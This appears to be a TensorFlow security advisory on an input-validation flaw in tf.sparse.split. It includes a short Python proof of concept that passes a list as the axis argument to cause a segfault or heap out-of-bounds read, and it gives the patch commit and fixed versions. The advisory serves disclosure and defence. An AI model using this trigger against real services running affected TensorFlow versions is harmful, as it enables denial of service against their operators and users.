Impact The implementation of `tf.sparse.split` does not fully validate the input arguments. Hence, a malicious user can trigger a denial of service via a segfault or a heap OOB read: ```python import tensorflow as tf data = tf.random.uniform([1, 32, 32], dtype=tf.float32) axis = [1, 2] x = tf.sparse.from_dense(data) result = tf.sparse.split(x,3, axis=axis) ``` The code assumes `axis` is a scalar. This is another instance of TFSA-2021-190 (CVE-2021-41206). Patches We have patched the issue in GitHub commit 61bf91e768173b001d56923600b40d9a95a04ad5 (merging #53695). The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
